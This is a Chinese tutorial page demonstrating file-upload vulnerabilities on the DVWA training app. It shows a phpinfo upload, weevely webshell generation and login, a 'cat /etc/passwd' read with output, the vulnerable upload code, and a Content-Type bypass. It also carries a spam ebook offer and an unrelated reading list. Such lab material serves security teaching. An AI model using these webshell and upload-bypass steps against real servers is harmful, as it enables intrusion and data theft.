说起文件上传漏洞 ,可谓是印象深刻 。有次公司的网站突然访问不到了,同事去服务器看了一下 。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同时怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了 。
把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行 。但看完这篇文章你就会明白了 。下面用 dvwa 来演示如何攻击和防御 。
低级用户界面是这样的,是一个简单的上传文件功能 。
文章插图
然而 Hacker 就上传一个 phpinfo.php 文件
<?phpinfo();?>
。。。结果如下然后打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了 。
文章插图
Hacker 想用 webshell 的方式尝试一下 。于是就用 Kali linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的 。
① 200多本网络安全系列电子书
② 网络安全标准题库资料
③ 项目源码
④ 网络安全基础入门、Linux、web安全、攻防视频
【五 DVWA 黑客攻防演练文件上传漏洞 File Upload】⑤ 网络安全学习路线
免费领取私信”安全“
weevely generate 123456 /root/webshell.phpGenerated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.
上传完文件后,登录weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456weevely> ls
dvwa_email.pngwebshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
就变成你的地盘我做主了 。再来看看低级代码 。<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path= DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}?>
为何会变成这样的呢?觉得主要是没有限制文件扩展名吧 。中级而中级代码,多了文件类型和文件大小的限制
<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path= DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}}?>
这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧 。然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求结果如下
打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面 。
推荐阅读
- 喝五花茶的副作用有哪些,茉莉花茶的产地有哪些
- 大唐|梦幻西游:惊天动地技能实战拉胯,服战大唐秒五打了四千多的数据
- 五六十岁的人,去医院体检时,哪些项目最应该检查?
- 五岳当中哪个风景最美?
- 硒麦芽五味子片的用法功效,常用的花草茶有哪些
- 五大浏览器,四大内核,指的都是什么?
- 喝花茶的五个注意事项,花茶不要随便喝
- 北京医保存折怎么提取现金
- 在团队中的选人技巧,知道这五点,你也是管理高手
- 翡翠|世人皆爱翡翠,爱它五彩斑斓的色泽,翡翠的色泽是怎样形成的?